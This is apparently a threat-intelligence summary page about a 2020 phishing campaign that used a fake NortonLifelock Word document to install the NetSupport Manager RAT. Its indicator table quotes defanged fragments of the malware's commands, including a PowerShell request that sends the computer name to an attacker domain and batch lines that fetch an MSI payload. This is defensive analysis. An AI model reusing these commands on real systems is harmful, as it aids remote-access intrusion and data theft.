Cortex XDR™ Detects New Phishing Campaign Installing NetSupport Manager RAT
Cortex XDR threat hunters uncovered a phishing campaign delivering the NetSupport Manager RAT via a fake password-protected NortonLifelock Word document.
Unit 42 identified a January 2020 phishing campaign using a Microsoft Word document disguised as a password-protected NortonLifelock file. Enabling macros triggered an obfuscated command that built alpaca.bat in the temp directory, which used msiexec to download an MSI payload from quickwaysignstx.com, filtered on the Windows Installer user-agent string. The payload installed a PowerShell script and the campaign, which has delivered NetSupport Manager RAT since at least 2018, showed related activity dating back to early November 2019.
- Word macro used obfuscated VBA forms to build a batch file
- MSI payload downloaded from quickwaysignstx.com via msiexec
- Password dialog accepted only the letter 'C' to proceed
- NetSupport Manager RAT abuse in phishing observed since 2018
- ATT&CK
- T1566.001 Spearphishing AttachmentT1204.002 Malicious FileT1059.001 PowerShellT1027 Obfuscated Files or Information
- Products
- NetSupport ManagerCortex XDR
- Malware
- NetSupport Manager RAT
- Organizations
- Palo Alto NetworksUnit 42
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | afsasdfa33.xyz | name " #Start-sleep -s 10 Invoke-WebRequest -Uri " http : //afsasdfa33[.]xyz/iplog/lepo.php?hst=$env:computername" $ f = get - content |
| domain | exemsi.com | D22A040A ) was built using an unregistered version from www.exemsi[.]com with the title of MPZMZQYVXO patch version 5.1 . This ver |
| domain | netsupportsoftware.com | entationhost.exe ) is started, it beacons to the domain geo.netsupportsoftware[.]com to retrieve geolocation of the host followed by an HTTP P |
| domain | quickwaysignstx.com | > % temp % \ alpaca . bat &EcHo | s ^ et / p = " http^:^/^/^quickwaysignstx[.]com/view.php " > > % temp % \ alpaca . bat &EcHo | s ^ et / p |
| ipv4 | 94.158.245.182 | geolocation of the host followed by an HTTP POST to http://94.158.245[.]182/fakeurl.htm It should be noted that the original name of |
| sha256 | 41d27d53c5d41003bc9913476a3afd3961b561b120ee8bfde327a5f0d22a040a | be downloaded when using msiexec. The MSI payload (SHA256: 41D27D53C5D41003BC9913476A3AFD3961B561B120EE8BFDE327A5F0D22A040A ) was built using an unregistered version from www.exemsi[. |
| sha256 | 68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2 | e macro code below. The hash for this macro code is SHA256: 68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2 If the user enters an incorrect password, they are presente |
| sha256 | e9440a5d2dfe2453ae5b69a9c096f8d4cf9e059d469c5de67380d76e02dd6975 | able macros. The document used for this analysis is SHA256: E9440A5D2DFE2453AE5B69A9C096F8D4CF9E059D469C5DE67380D76E02DD6975 Figure 4. Delivery document disguised as NortonLifeLock. To |
From the original article
14 min read at unit42.paloaltonetworks.com
In January 2020, the Cortex XDR Managed Threat Hunting team, part of Unit 42, identified a malicious Microsoft Word document, disguised as a password-protected NortonLifelock document, being used in a phishing campaign to deliver a commercially available remote access tool (RAT) called NetSupport Manager .
By Mike Harbison, Bryan Lee, Brittany Barbehenn · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.